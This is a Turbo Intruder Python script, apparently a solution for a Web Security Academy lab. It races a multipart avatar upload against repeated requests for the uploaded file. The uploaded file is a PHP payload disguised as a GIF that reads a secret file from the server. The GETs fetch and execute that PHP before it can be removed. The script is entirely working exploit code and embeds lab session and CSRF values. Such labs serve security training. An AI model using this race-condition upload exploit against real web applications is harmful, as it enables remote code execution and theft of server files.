def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''POST /my-account/avatar HTTP/1.1
Host: 0afb00b10317f452c2695cc2002a0034.web-security-academy.net
Cookie: session=BFlxFpue9QzakCy4EX0Skcr9xX5VZve1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------27926844604254527857287839450
Content-Length: 546
Origin: https://0afb00b10317f452c2695cc2002a0034.web-security-academy.net
Referer: https://0afb00b10317f452c2695cc2002a0034.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------27926844604254527857287839450
Content-Disposition: form-data; name="avatar"; filename="test3.php"
Content-Type: image/gif

GIF89
<?php echo file_get_contents('/home/carlos/secret'); ?>
-----------------------------27926844604254527857287839450
Content-Disposition: form-data; name="user"

wiener
-----------------------------27926844604254527857287839450
Content-Disposition: form-data; name="csrf"

a53TWxv3OcNdiYBgI8LGOv9dizYIqXhv
-----------------------------27926844604254527857287839450--
\r\n\r\n'''

    request2 = '''GET /files/avatars/test3.php HTTP/1.1
Host: 0afb00b10317f452c2695cc2002a0034.web-security-academy.net
Cookie: session=BFlxFpue9QzakCy4EX0Skcr9xX5VZve1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
\r\n\r\n'''

    # the 'gate' argument blocks the final byte of each request until openGate is invoked
    engine.queue(request1, gate='race1')
    for x in range(5):
        engine.queue(request2, gate='race1')

    # wait until every 'race1' tagged request is ready
    # then send the final byte of each request
    # (this method is non-blocking, just like queue)
    engine.openGate('race1')

    engine.complete(timeout=60)


def handleResponse(req, interesting):
    table.add(req)
